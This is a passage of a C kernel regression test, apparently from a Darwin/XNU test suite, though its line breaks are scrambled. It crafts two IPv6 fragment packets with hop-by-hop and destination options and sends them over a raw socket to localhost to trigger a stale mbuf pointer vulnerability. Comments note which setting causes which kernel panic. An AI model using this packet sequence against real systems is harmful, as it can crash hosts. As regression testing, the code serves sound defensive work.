7 #include <net/if_var.h>
8 #include <netinet/ip6.h>
9 #include <darwintest.h>
13 struct ip6_opt hbh_opt
;
17 struct ip6_opt dest_opt
;
23 struct ip6_opt hbh_opt
;
26 struct ip6_opt dest_opt
;
31 T_DECL(IP6_EXTHDR_CHECK_ICMPV6_61873584
, "ICMPv6 test for IP6_EXTHDR_CHECK stale mbuf pointer vulnerability", T_META("as_root", "true"))
33 struct sockaddr_in6 daddr
;
34 struct packet1 packet1
;
35 struct packet2 packet2
;
42 T_ASSERT_POSIX_SUCCESS(s
= socket(AF_INET6
, SOCK_RAW
, IPPROTO_HOPOPTS
), NULL
);
45 memset(&daddr
, 0, sizeof(daddr
));
46 daddr
.sin6_family
= AF_INET6
;
48 inet_pton(AF_INET6
, "::1", &daddr
.sin6_addr
);
50 memset(&packet1
, 'A', sizeof(struct packet1
));
51 packet1
.hbh
.ip6h_nxt
= IPPROTO_FRAGMENT
;
52 packet1
.hbh
.ip6h_len
= 0;
53 packet1
.hbh_opt
.ip6o_type
= IP6OPT_PADN
;
54 packet1
.hbh_opt
.ip6o_len
= 4;
55 packet1
.frag
.ip6f_nxt
= IPPROTO_DSTOPTS
;
56 packet1
.frag
.ip6f_reserved
= 0;
57 packet1
.frag
.ip6f_offlg
= htons(0) | IP6F_MORE_FRAG
;
58 packet1
.frag
.ip6f_ident
= id
;
59 // Use IPPROTO_RAW for "assertion failed: m->m_flags & M_PKTHDR" panic
60 // Use IPPROTO_ICMPV6 for "m_free: freeing an already freed mbuf" panic
61 packet1
.dest
.ip6d_nxt
= IPPROTO_RAW
;
62 packet1
.dest
.ip6d_len
= 1;
63 packet1
.dest_opt
.ip6o_type
= IP6OPT_PADN
;
64 packet1
.dest_opt
.ip6o_len
= 4;
66 memset(&packet2
, 'B', sizeof(struct packet2
));
67 packet2
.hbh
.ip6h_nxt
= IPPROTO_FRAGMENT
;
68 packet2
.hbh
.ip6h_len
= 0;
69 packet2
.hbh_opt
.ip6o_type
= IP6OPT_PADN
;
70 packet2
.hbh_opt
.ip6o_len
= 4;
71 packet2
.frag
.ip6f_nxt
= IPPROTO_DSTOPTS
;
72 packet2
.frag
.ip6f_reserved
= 0;
73 packet2
.frag
.ip6f_offlg
= htons(8);
74 packet2
.frag
.ip6f_ident
= id
;
75 packet2
.dest_opt
.ip6o_type
= IP6OPT_PADN
;
76 packet2
.dest_opt
.ip6o_len
= 6;
78 T_ASSERT_POSIX_SUCCESS(res
= sendto(s
, (char *)&packet1
, sizeof(packet1
), 0,
79 (struct sockaddr
*)&daddr
, (socklen_t
)sizeof(daddr
)), NULL
);
80 T_ASSERT_POSIX_SUCCESS(res
= sendto(s
, (char *)&packet2
, sizeof(packet2
), 0,
81 (struct sockaddr
*)&daddr
, (socklen_t
)sizeof(daddr
)), NULL
);
82 T_ASSERT_POSIX_SUCCESS(res
= close(s
), NULL
);